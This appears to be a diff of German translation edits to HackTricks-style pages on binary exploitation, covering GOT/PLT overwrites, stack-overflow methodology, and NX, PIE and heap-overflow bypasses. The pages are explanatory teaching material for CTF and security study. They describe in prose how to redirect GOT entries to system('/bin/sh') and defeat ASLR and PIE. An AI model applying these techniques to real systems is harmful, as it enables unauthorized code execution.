Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-

src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md

@@ -12,7 +12,7 @@ Jeder Eintrag in der GOT entspricht einem Symbol in den externen Bibliotheken, d
 
 ### **PLT: Procedure Linkage Table**
 
-Die **Procedure Linkage Table (PLT)** arbeitet eng mit der GOT zusammen und dient als Trampolin, um Aufrufe an externe Funktionen zu handhaben. Wenn eine Binärdatei **zum ersten Mal eine externe Funktion aufruft, wird die Kontrolle an einen Eintrag in der PLT übergeben, der mit dieser Funktion verknüpft ist**. Dieser PLT-Eintrag ist dafür verantwortlich, den dynamischen Linker aufzurufen, um die Adresse der Funktion aufzulösen, falls sie noch nicht aufgelöst wurde. Nachdem die Adresse aufgelöst wurde, wird sie in der **GOT** gespeichert.
+Die **Procedure Linkage Table (PLT)** arbeitet eng mit der GOT zusammen und dient als Trampolin, um Aufrufe an externe Funktionen zu handhaben. Wenn eine Binärdatei **eine externe Funktion zum ersten Mal aufruft, wird die Kontrolle an einen Eintrag in der PLT übergeben, der mit dieser Funktion verknüpft ist**. Dieser PLT-Eintrag ist dafür verantwortlich, den dynamischen Linker aufzurufen, um die Adresse der Funktion aufzulösen, falls sie noch nicht aufgelöst wurde. Nachdem die Adresse aufgelöst wurde, wird sie in der **GOT** gespeichert.
 
 **Daher** werden GOT-Einträge direkt verwendet, sobald die Adresse einer externen Funktion oder Variablen aufgelöst ist. **PLT-Einträge werden verwendet, um die anfängliche Auflösung** dieser Adressen über den dynamischen Linker zu erleichtern.
 
@@ -20,7 +20,7 @@ Die **Procedure Linkage Table (PLT)** arbeitet eng mit der GOT zusammen und dien
 
 ### Überprüfen der GOT
 
-Holen Sie sich die Adresse zur GOT-Tabelle mit: **`objdump -s -j .got ./exec`**
+Holen Sie sich die Adresse der GOT-Tabelle mit: **`objdump -s -j .got ./exec`**
 
 ![](<../../images/image (121).png>)
 
@@ -38,13 +38,13 @@ In einer Binärdatei hat die GOT die **Adressen zu den Funktionen oder** zum **P
 
 Idealerweise werden Sie die **GOT** einer **Funktion** überschreiben, die **mit von Ihnen kontrollierten Parametern aufgerufen wird** (so dass Sie die an die Systemfunktion gesendeten Parameter steuern können).
 
-Wenn **`system`** **nicht verwendet wird** von der Binärdatei, wird die Systemfunktion **keinen** Eintrag in der PLT haben. In diesem Szenario müssen Sie **zuerst die Adresse** der `system`-Funktion ermitteln und dann die GOT überschreiben, um auf diese Adresse zu zeigen.
+Wenn **`system`** **nicht verwendet wird** von der Binärdatei, wird die Systemfunktion **keinen** Eintrag in der PLT haben. In diesem Szenario müssen Sie **zuerst die Adresse** der `system`-Funktion leaken und dann die GOT überschreiben, um auf diese Adresse zu zeigen.
 
 Sie können die PLT-Adressen mit **`objdump -j .plt -d ./vuln_binary`** sehen.
 
 ## libc GOT-Einträge
 
-Die **GOT von libc** wird normalerweise mit **teilweisem RELRO** kompiliert, was sie zu einem attraktiven Ziel macht, vorausgesetzt, es ist möglich, ihre Adresse herauszufinden ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
+Die **GOT von libc** wird normalerweise mit **teilweisem RELRO** kompiliert, was sie zu einem attraktiven Ziel macht, vorausgesetzt, es ist möglich, ihre Adresse herauszufinden ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
 
 Häufige Funktionen der libc rufen **andere interne Funktionen** auf, deren GOT überschrieben werden könnte, um eine Codeausführung zu erhalten.
 
@@ -52,13 +52,13 @@ Finden Sie [**weitere Informationen zu dieser Technik hier**](https://github.com
 
 ### **Free2system**
 
-In Heap-Exploitation-CTFs ist es üblich, den Inhalt von Chunks zu kontrollieren und zu einem bestimmten Zeitpunkt sogar die GOT-Tabelle zu überschreiben. Ein einfacher Trick, um RCE zu erhalten, wenn keine Gadgets verfügbar sind, besteht darin, die `free` GOT-Adresse so zu überschreiben, dass sie auf `system` zeigt, und in einen Chunk `"/bin/sh"` zu schreiben. Auf diese Weise wird, wenn dieser Chunk freigegeben wird, `system("/bin/sh")` ausgeführt.
+In Heap-Exploitation-CTFs ist es üblich, den Inhalt von Chunks zu kontrollieren und irgendwann sogar die GOT-Tabelle zu überschreiben. Ein einfacher Trick, um RCE zu erhalten, wenn keine Gadgets verfügbar sind, besteht darin, die `free` GOT-Adresse auf `system` zu überschreiben und in einen Chunk `"/bin/sh"` zu schreiben. Auf diese Weise wird, wenn dieser Chunk freigegeben wird, `system("/bin/sh")` ausgeführt.
 
 ### **Strlen2system**
 
-Eine weitere gängige Technik besteht darin, die **`strlen`** GOT-Adresse so zu überschreiben, dass sie auf **`system`** zeigt, sodass, wenn diese Funktion mit Benutzereingaben aufgerufen wird, es möglich ist, den String `"/bin/sh"` zu übergeben und eine Shell zu erhalten.
+Eine weitere gängige Technik besteht darin, die **`strlen`** GOT-Adresse auf **`system`** zu überschreiben, sodass, wenn diese Funktion mit Benutzereingaben aufgerufen wird, es möglich ist, den String `"/bin/sh"` zu übergeben und eine Shell zu erhalten.
 
-Darüber hinaus, wenn `puts` mit Benutzereingaben verwendet wird, ist es möglich, die `strlen` GOT-Adresse so zu überschreiben, dass sie auf `system` zeigt und den String `"/bin/sh"` zu übergeben, um eine Shell zu erhalten, da **`puts` `strlen` mit der Benutzereingabe aufruft**.
+Darüber hinaus, wenn `puts` mit Benutzereingaben verwendet wird, ist es möglich, die `strlen` GOT-Adresse auf `system` zu überschreiben und den String `"/bin/sh"` zu übergeben, um eine Shell zu erhalten, da **`puts` `strlen` mit der Benutzereingabe aufruft**.
 
 ## **One Gadget**
 

src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md

@@ -18,16 +18,16 @@ tools/
 
 ## Stack Overflow Methodik
 
-Bei so vielen Techniken ist es gut, ein Schema zu haben, wann jede Technik nützlich sein wird. Beachten Sie, dass die gleichen Schutzmaßnahmen unterschiedliche Techniken beeinflussen werden. Sie können Möglichkeiten finden, die Schutzmaßnahmen in jedem Abschnitt zu umgehen, jedoch nicht in dieser Methodik.
+Bei so vielen Techniken ist es gut, ein Schema zu haben, wann jede Technik nützlich sein wird. Beachten Sie, dass die gleichen Schutzmaßnahmen unterschiedliche Techniken beeinflussen werden. Sie können Möglichkeiten finden, die Schutzmaßnahmen in jedem Schutzabschnitt zu umgehen, jedoch nicht in dieser Methodik.
 
 ## Steuerung des Flusses
 
 Es gibt verschiedene Möglichkeiten, wie Sie den Fluss eines Programms steuern können:
 
-- [**Stack Overflows**](../stack-overflow/) überschreiben den Rückgabepointer vom Stack oder den EBP -> ESP -> EIP.
+- [**Stack Overflows**](../stack-overflow/index.html), indem der Rückgabepointer vom Stack oder der EBP -> ESP -> EIP überschrieben wird.
 - Möglicherweise müssen Sie einen [**Integer Overflow**](../integer-overflow.md) ausnutzen, um den Overflow zu verursachen.
 - Oder über **Arbitrary Writes + Write What Where to Execution**.
-- [**Format-Strings**](../format-strings/)**:** Missbrauch von `printf`, um beliebige Inhalte an beliebige Adressen zu schreiben.
+- [**Format-Strings**](../format-strings/index.html)**:** Missbrauch von `printf`, um beliebige Inhalte an beliebige Adressen zu schreiben.
 - [**Array-Indexierung**](../array-indexing.md): Missbrauch einer schlecht gestalteten Indizierung, um einige Arrays zu steuern und einen beliebigen Schreibzugriff zu erhalten.
 - Möglicherweise müssen Sie einen [**Integer Overflow**](../integer-overflow.md) ausnutzen, um den Overflow zu verursachen.
 - **bof zu WWW über ROP**: Missbrauch eines Buffer Overflows, um ein ROP zu konstruieren und in der Lage zu sein, ein WWW zu erhalten.
@@ -40,11 +40,11 @@ Sie finden die **Write What Where to Execution** Techniken in:
 
 ## Ewige Schleifen
 
-Etwas, das zu beachten ist, ist, dass normalerweise **nur eine Ausnutzung einer Schwachstelle möglicherweise nicht ausreicht**, um einen erfolgreichen Exploit auszuführen, insbesondere müssen einige Schutzmaßnahmen umgangen werden. Daher ist es interessant, einige Optionen zu diskutieren, um **eine einzelne Schwachstelle mehrmals in derselben Ausführung der Binärdatei ausnutzbar zu machen**:
+Etwas, das zu berücksichtigen ist, ist, dass normalerweise **nur eine Ausnutzung einer Schwachstelle möglicherweise nicht ausreicht**, um einen erfolgreichen Exploit auszuführen, insbesondere müssen einige Schutzmaßnahmen umgangen werden. Daher ist es interessant, einige Optionen zu diskutieren, um **eine einzelne Schwachstelle mehrmals in derselben Ausführung der Binärdatei ausnutzbar zu machen**:
 
 - Schreiben Sie in eine **ROP**-Kette die Adresse der **`main`-Funktion** oder die Adresse, an der die **Schwachstelle** auftritt.
 - Durch die Kontrolle einer ordnungsgemäßen ROP-Kette könnten Sie in der Lage sein, alle Aktionen in dieser Kette auszuführen.
-- Schreiben Sie in die **`exit`-Adresse in GOT** (oder eine andere Funktion, die von der Binärdatei vor dem Ende verwendet wird) die Adresse, um **zurück zur Schwachstelle** zu gehen.
+- Schreiben Sie die **`exit`-Adresse in GOT** (oder eine andere Funktion, die von der Binärdatei vor dem Ende verwendet wird) die Adresse, um **zurück zur Schwachstelle** zu gehen.
 - Wie in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** speichern Sie hier 2 Funktionen, eine um die Schwachstelle erneut aufzurufen und eine andere um **`__libc_csu_fini`** aufzurufen, die die Funktion aus `.fini_array` erneut aufruft.
 
 ## Ausnutzungsziele
@@ -52,60 +52,60 @@ Etwas, das zu beachten ist, ist, dass normalerweise **nur eine Ausnutzung einer
 ### Ziel: Eine vorhandene Funktion aufrufen
 
 - [**ret2win**](#ret2win): Es gibt eine Funktion im Code, die Sie aufrufen müssen (vielleicht mit einigen spezifischen Parametern), um das Flag zu erhalten.
-- In einem **regulären bof ohne** [**PIE**](../common-binary-protections-and-bypasses/pie/) **und** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) müssen Sie nur die Adresse in die Rückgabeadresse, die im Stack gespeichert ist, schreiben.
-- In einem bof mit [**PIE**](../common-binary-protections-and-bypasses/pie/) müssen Sie es umgehen.
-- In einem bof mit [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) müssen Sie es umgehen.
+- In einem **regulären bof ohne** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **und** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) müssen Sie nur die Adresse in die Rückgabeadresse, die im Stack gespeichert ist, schreiben.
+- In einem bof mit [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) müssen Sie es umgehen.
+- In einem bof mit [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) müssen Sie es umgehen.
 - Wenn Sie mehrere Parameter setzen müssen, um die **ret2win**-Funktion korrekt aufzurufen, können Sie verwenden:
 - Eine [**ROP**](#rop-and-ret2...-techniques) **Kette, wenn genügend Gadgets vorhanden sind**, um alle Parameter vorzubereiten.
-- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (falls Sie diesen Syscall aufrufen können), um viele Register zu steuern.
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (falls Sie diesen Syscall aufrufen können), um viele Register zu steuern.
 - Gadgets von [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) und [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md), um mehrere Register zu steuern.
-- Über einen [**Write What Where**](../arbitrary-write-2-exec/) könnten Sie andere Schwachstellen (nicht bof) ausnutzen, um die **`win`**-Funktion aufzurufen.
-- [**Pointer Redirecting**](../stack-overflow/pointer-redirecting.md): Falls der Stack Zeiger auf eine Funktion enthält, die aufgerufen werden soll, oder auf einen String, der von einer interessanten Funktion (system oder printf) verwendet werden soll, ist es möglich, diese Adresse zu überschreiben.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) oder [**PIE**](../common-binary-protections-and-bypasses/pie/) könnten die Adressen beeinflussen.
+- Über ein [**Write What Where**](../arbitrary-write-2-exec/index.html) könnten Sie andere Schwachstellen (nicht bof) ausnutzen, um die **`win`**-Funktion aufzurufen.
+- [**Pointer-Redirecting**](../stack-overflow/pointer-redirecting.md): Falls der Stack Zeiger auf eine Funktion enthält, die aufgerufen werden soll, oder auf einen String, der von einer interessanten Funktion (system oder printf) verwendet werden soll, ist es möglich, diese Adresse zu überschreiben.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) oder [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) könnten die Adressen beeinflussen.
 - [**Uninitialisierte Variablen**](../stack-overflow/uninitialized-variables.md): Man weiß nie.
 
 ### Ziel: RCE
 
-#### Über Shellcode, wenn nx deaktiviert ist oder Shellcode mit ROP gemischt wird:
+#### Über Shellcode, wenn nx deaktiviert oder Shellcode mit ROP gemischt:
 
 - [**(Stack) Shellcode**](#stack-shellcode): Dies ist nützlich, um einen Shellcode im Stack zu speichern, bevor oder nachdem der Rückgabepointer überschrieben wurde, und dann **dorthin zu springen**, um ihn auszuführen:
-- **In jedem Fall, wenn es einen** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)** gibt, müssen Sie in einem regulären bof (leaken) umgehen.**
-- **Ohne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **und** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) ist es möglich, zur Adresse des Stacks zu springen, da sie sich niemals ändern wird.
-- **Mit** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) müssen Sie Techniken wie [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) verwenden, um dorthin zu springen.
-- **Mit** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) müssen Sie einige [**ROP**](../rop-return-oriented-programing/) **verwenden, um `memprotect` aufzurufen** und eine Seite `rwx` zu machen, um dann **den Shellcode dort zu speichern** (zum Beispiel durch Aufruf von read) und dann dorthin zu springen.
+- **In jedem Fall, wenn es einen** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** müssen Sie in einem regulären bof (leaken) umgehen.
+- **Ohne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **und** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) ist es möglich, zur Adresse des Stacks zu springen, da sie sich niemals ändern wird.
+- **Mit** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) müssen Sie Techniken wie [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) verwenden, um dorthin zu springen.
+- **Mit** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) müssen Sie einige [**ROP**](../rop-return-oriented-programing/index.html) **verwenden, um `memprotect` aufzurufen** und eine Seite `rwx` zu machen, um dann **den Shellcode dort zu speichern** (zum Beispiel durch Aufruf von read) und dann dorthin zu springen.
 - Dies wird Shellcode mit einer ROP-Kette mischen.
 
 #### Über Syscalls
 
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Nützlich, um `execve` aufzurufen, um beliebige Befehle auszuführen. Sie müssen in der Lage sein, die **Gadgets zu finden, um den spezifischen Syscall mit den Parametern** aufzurufen.
-- Wenn [**ASLR**](../common-binary-protections-and-bypasses/aslr/) oder [**PIE**](../common-binary-protections-and-bypasses/pie/) aktiviert sind, müssen Sie sie überwinden, **um ROP-Gadgets** aus der Binärdatei oder Bibliotheken zu verwenden.
-- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) kann nützlich sein, um die **ret2execve** vorzubereiten.
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Nützlich, um `execve` aufzurufen, um beliebige Befehle auszuführen. Sie müssen in der Lage sein, die **Gadgets zu finden, um den spezifischen Syscall mit den Parametern** aufzurufen.
+- Wenn [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) oder [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) aktiviert sind, müssen Sie sie besiegen, **um ROP-Gadgets** aus der Binärdatei oder Bibliotheken zu verwenden.
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) kann nützlich sein, um die **ret2execve** vorzubereiten.
 - Gadgets von [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) und [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md), um mehrere Register zu steuern.
 
 #### Über libc
 
-- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Nützlich, um eine Funktion aus einer Bibliothek (normalerweise aus **`libc`**) wie **`system`** mit einigen vorbereiteten Argumenten (z.B. `'/bin/sh'`) aufzurufen. Sie müssen die Binärdatei **die Bibliothek laden** lassen, mit der Funktion, die Sie aufrufen möchten (normalerweise libc).
-- Wenn **statisch kompiliert und kein** [**PIE**](../common-binary-protections-and-bypasses/pie/), werden die **Adressen** von `system` und `/bin/sh` sich nicht ändern, sodass es möglich ist, sie statisch zu verwenden.
-- **Ohne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **und Kenntnis der geladenen libc-Version** werden sich die **Adressen** von `system` und `/bin/sh` nicht ändern, sodass es möglich ist, sie statisch zu verwenden.
-- Mit [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **aber ohne** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, wenn die libc bekannt ist und die Binärdatei die `system`**-Funktion verwendet, ist es möglich, **`ret` zur Adresse von system in der GOT** mit der Adresse von `'/bin/sh'` im Parameter zu verwenden (das müssen Sie herausfinden).
-- Mit [ASLR](../common-binary-protections-and-bypasses/aslr/) aber ohne [PIE](../common-binary-protections-and-bypasses/pie/), wenn die libc bekannt ist und **ohne dass die Binärdatei die `system`** verwendet:
+- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Nützlich, um eine Funktion aus einer Bibliothek (normalerweise aus **`libc`**) wie **`system`** mit einigen vorbereiteten Argumenten (z.B. `'/bin/sh'`) aufzurufen. Sie müssen die Binärdatei **die Bibliothek laden**, mit der Funktion, die Sie aufrufen möchten (libc normalerweise).
+- Wenn **statisch kompiliert und kein** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), ändern sich die **Adressen** von `system` und `/bin/sh` nicht, sodass es möglich ist, sie statisch zu verwenden.
+- **Ohne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **und Kenntnis der geladenen libc-Version** ändern sich die **Adressen** von `system` und `/bin/sh` nicht, sodass es möglich ist, sie statisch zu verwenden.
+- Mit [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **aber ohne** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, wenn die libc bekannt ist und die Binärdatei die `system`**-Funktion verwendet, ist es möglich, **`ret` zur Adresse von system in der GOT** mit der Adresse von `'/bin/sh'` im Parameter zu verwenden (das müssen Sie herausfinden).
+- Mit [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) aber ohne [PIE](../common-binary-protections-and-bypasses/pie/index.html), wenn die libc bekannt ist und **ohne dass die Binärdatei die `system`** verwendet:
 - Verwenden Sie [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md), um die Adresse von `system` aufzulösen und sie aufzurufen.
-- **Umgehen** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) und berechnen Sie die Adresse von `system` und `'/bin/sh'` im Speicher.
-- **Mit** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **und** [**PIE**](../common-binary-protections-and-bypasses/pie/) **und ohne Kenntnis der libc**: Sie müssen:
-- [**PIE**](../common-binary-protections-and-bypasses/pie/) umgehen.
-- Die **`libc`-Version** finden (einige Funktionsadressen leaken).
+- **Umgehen** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) und berechnen Sie die Adresse von `system` und `'/bin/sh'` im Speicher.
+- **Mit** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **und** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **und ohne Kenntnis der libc**: Sie müssen:
+- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) umgehen.
+- Die **`libc`-Version** herausfinden (ein paar Funktionsadressen leaken).
 - Die **vorherigen Szenarien mit ASLR** überprüfen, um fortzufahren.
 
 #### Über EBP/RBP
 
 - [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Steuern Sie den ESP, um RET über den gespeicherten EBP im Stack zu steuern.
 - Nützlich für **off-by-one** Stack Overflows.
-- Nützlich als alternativer Weg, um EIP zu steuern, während EIP missbraucht wird, um die Payload im Speicher zu konstruieren und dann dorthin über EBP zu springen.
+- Nützlich als alternative Möglichkeit, EIP zu steuern, während EIP missbraucht wird, um die Nutzlast im Speicher zu konstruieren und dann über EBP dorthin zu springen.
 
 #### Sonstiges
 
-- [**Pointer Redirecting**](../stack-overflow/pointer-redirecting.md): Falls der Stack Zeiger auf eine Funktion enthält, die aufgerufen werden soll, oder auf einen String, der von einer interessanten Funktion (system oder printf) verwendet werden soll, ist es möglich, diese Adresse zu überschreiben.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) oder [**PIE**](../common-binary-protections-and-bypasses/pie/) könnten die Adressen beeinflussen.
+- [**Pointer-Redirecting**](../stack-overflow/pointer-redirecting.md): Falls der Stack Zeiger auf eine Funktion enthält, die aufgerufen werden soll, oder auf einen String, der von einer interessanten Funktion (system oder printf) verwendet werden soll, ist es möglich, diese Adresse zu überschreiben.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) oder [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) könnten die Adressen beeinflussen.
 - [**Uninitialisierte Variablen**](../stack-overflow/uninitialized-variables.md): Man weiß nie.
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md

@@ -2,15 +2,15 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Grundlegende Informationen
+## Grundinformationen
 
 Das **No-Execute (NX)**-Bit, auch bekannt als **Execute Disable (XD)** in der Intel-Terminologie, ist eine hardwarebasierte Sicherheitsfunktion, die entwickelt wurde, um die Auswirkungen von **Buffer Overflow**-Angriffen zu **mildern**. Wenn es implementiert und aktiviert ist, unterscheidet es zwischen Speicherbereichen, die für **ausführbaren Code** vorgesehen sind, und solchen, die für **Daten** gedacht sind, wie zum Beispiel dem **Stack** und dem **Heap**. Die grundlegende Idee ist, einen Angreifer daran zu hindern, schädlichen Code durch Buffer Overflow-Schwachstellen auszuführen, indem der schädliche Code beispielsweise im Stack platziert und der Ausführungsfluss dorthin geleitet wird.
 
 ## Umgehungen
 
-- Es ist möglich, Techniken wie [**ROP**](../rop-return-oriented-programing/) **zu verwenden**, um diesen Schutz zu umgehen, indem Teile von bereits im Binärformat vorhandenem ausführbarem Code ausgeführt werden.
-- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
+- Es ist möglich, Techniken wie [**ROP**](../rop-return-oriented-programing/index.html) **zu verwenden**, um diesen Schutz zu umgehen, indem Teile von bereits im Binärformat vorhandenem ausführbarem Code ausgeführt werden.
+- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html)
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html)
 - **Ret2...**
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md

@@ -8,8 +8,8 @@ Eine als PIE kompilierte Binärdatei, oder **Position Independent Executable**,
 
 Der Trick, um diese Binärdateien auszunutzen, besteht darin, die **relativen Adressen** auszunutzen – die Offsets zwischen den Teilen des Programms bleiben gleich, auch wenn sich die absoluten Standorte ändern. Um **PIE zu umgehen, müssen Sie nur eine Adresse leaken**, typischerweise vom **Stack** unter Verwendung von Schwachstellen wie Format-String-Angriffen. Sobald Sie eine Adresse haben, können Sie andere anhand ihrer **festen Offsets** berechnen.
 
-Ein hilfreicher Hinweis beim Ausnutzen von PIE-Binärdateien ist, dass ihre **Basisadresse typischerweise mit 000 endet**, da Speicherseiten die Einheiten der Randomisierung sind, die eine Größe von 0x1000 Bytes haben. Diese Ausrichtung kann eine kritische **Überprüfung sein, wenn ein Exploit nicht wie erwartet funktioniert**, um anzuzeigen, ob die richtige Basisadresse identifiziert wurde.\
-Oder Sie können dies für Ihren Exploit verwenden, wenn Sie leaken, dass eine Adresse bei **`0x649e1024`** liegt, wissen Sie, dass die **Basisadresse `0x649e1000` ist** und von dort aus können Sie einfach die **Offsets** von Funktionen und Standorten berechnen.
+Ein hilfreicher Hinweis beim Ausnutzen von PIE-Binärdateien ist, dass ihre **Basisadresse typischerweise auf 000 endet**, da Speicherseiten die Einheiten der Randomisierung sind, die eine Größe von 0x1000 Bytes haben. Diese Ausrichtung kann eine kritische **Überprüfung sein, wenn ein Exploit nicht wie erwartet funktioniert**, um anzuzeigen, ob die richtige Basisadresse identifiziert wurde.\
+Oder Sie können dies für Ihren Exploit verwenden: Wenn Sie leaken, dass eine Adresse bei **`0x649e1024`** liegt, wissen Sie, dass die **Basisadresse `0x649e1000` ist** und von dort aus können Sie einfach die **Offsets** von Funktionen und Standorten berechnen.
 
 ## Umgehungen
 
@@ -23,7 +23,7 @@ Um PIE zu umgehen, ist es notwendig, **eine Adresse der geladenen** Binärdatei
 bypassing-canary-and-pie.md
 {{#endref}}
 
-- Verwenden Sie eine **willkürliche Lese**-Schwachstelle wie [**Format-String**](../../format-strings/), um eine Adresse der Binärdatei zu leaken (z. B. vom Stack, wie in der vorherigen Technik), um die Basis der Binärdatei zu erhalten und von dort aus Offsets zu verwenden. [**Hier ein Beispiel finden**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
+- Verwenden Sie eine **willkürliche Lese**-Schwachstelle wie [**Format-String**](../../format-strings/index.html), um eine Adresse der Binärdatei zu leaken (z. B. vom Stack, wie in der vorherigen Technik), um die Basis der Binärdatei zu erhalten und von dort aus Offsets zu verwenden. [**Hier ein Beispiel finden**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 
 ## Referenzen
 

src/binary-exploitation/libc-heap/heap-overflow.md

@@ -4,30 +4,30 @@
 
 ## Grundinformationen
 
-Ein Heap Overflow ist wie ein [**Stack Overflow**](../stack-overflow/), aber im Heap. Grundsätzlich bedeutet es, dass ein gewisser Speicher im Heap reserviert wurde, um einige Daten zu speichern, und **die gespeicherten Daten größer waren als der reservierte Speicher.**
+Ein Heap Overflow ist wie ein [**Stack Overflow**](../stack-overflow/index.html), aber im Heap. Grundsätzlich bedeutet es, dass ein gewisser Speicher im Heap reserviert wurde, um einige Daten zu speichern, und **die gespeicherten Daten größer waren als der reservierte Speicher.**
 
-Bei Stack Overflows wissen wir, dass einige Register wie der Befehlszeiger oder der Stack-Frame aus dem Stack wiederhergestellt werden und es möglich sein könnte, dies auszunutzen. Im Fall von Heap Overflows **gibt es standardmäßig keine sensiblen Informationen**, die im Heap-Chunk gespeichert sind, der überlaufen kann. Es könnten jedoch sensible Informationen oder Zeiger vorhanden sein, sodass die **Kritikalität** dieser Schwachstelle **abhängig** ist von **den Daten, die überschrieben werden könnten**, und wie ein Angreifer dies ausnutzen könnte.
+Bei Stack Overflows wissen wir, dass einige Register wie der Befehlszeiger oder der Stack-Frame aus dem Stack wiederhergestellt werden und es möglich sein könnte, dies auszunutzen. Im Falle von Heap Overflows **wird standardmäßig keine sensiblen Informationen** im Heap-Chunk gespeichert, der überlaufen werden kann. Es könnte jedoch sensible Informationen oder Zeiger geben, sodass die **Kritikalität** dieser Schwachstelle **abhängt** von **den Daten, die überschrieben werden könnten**, und wie ein Angreifer dies ausnutzen könnte.
 
 > [!TIP]
 > Um Überlauf-Offsets zu finden, können Sie die gleichen Muster wie bei [**Stack Overflows**](../stack-overflow/index.html#finding-stack-overflows-offsets) verwenden.
 
 ### Stack Overflows vs Heap Overflows
 
-Bei Stack Overflows ist die Anordnung und die Daten, die zum Zeitpunkt des Auslösens der Schwachstelle im Stack vorhanden sind, ziemlich zuverlässig. Das liegt daran, dass der Stack linear ist, immer in kollidierendem Speicher zunimmt, an **bestimmten Stellen des Programmlaufs der Stack-Speicher normalerweise ähnliche Arten von Daten speichert** und eine spezifische Struktur mit einigen Zeigern am Ende des von jeder Funktion verwendeten Stack-Teils hat.
+Bei Stack Overflows ist die Anordnung und die Daten, die zum Zeitpunkt des Auslösens der Schwachstelle im Stack vorhanden sind, ziemlich zuverlässig. Dies liegt daran, dass der Stack linear ist, immer in kollidierendem Speicher zunimmt, an **bestimmten Stellen des Programmlaufs der Stack-Speicher normalerweise ähnliche Arten von Daten speichert** und eine spezifische Struktur mit einigen Zeigern am Ende des von jeder Funktion verwendeten Stack-Teils hat.
 
-Im Fall eines Heap Overflows ist der verwendete Speicher jedoch nicht linear, sondern **zugewiesene Chunks befinden sich normalerweise an getrennten Speicherpositionen** (nicht nebeneinander), aufgrund von **Bins und Zonen**, die Zuweisungen nach Größe trennen, und weil **zuvor freigegebener Speicher verwendet wird**, bevor neue Chunks zugewiesen werden. Es ist **kompliziert zu wissen, welches Objekt mit dem anfälligen** für einen Heap Overflow kollidieren wird. Daher ist es notwendig, einen **zuverlässigen Weg zu finden, um das gewünschte Objekt im Speicher** neben dem überlaufbaren zu platzieren.
+Im Falle eines Heap Overflows ist der verwendete Speicher jedoch nicht linear, sondern **zugewiesene Chunks befinden sich normalerweise an getrennten Speicherpositionen** (nicht nebeneinander), aufgrund von **Bins und Zonen**, die Zuweisungen nach Größe trennen, und weil **zuvor freigegebener Speicher verwendet wird**, bevor neue Chunks zugewiesen werden. Es ist **kompliziert zu wissen, welches Objekt mit dem anfälligen** für einen Heap Overflow kollidieren wird. Daher ist es notwendig, einen **zuverlässigen Weg zu finden, um das gewünschte Objekt im Speicher** neben dem überlaufbaren zu platzieren.
 
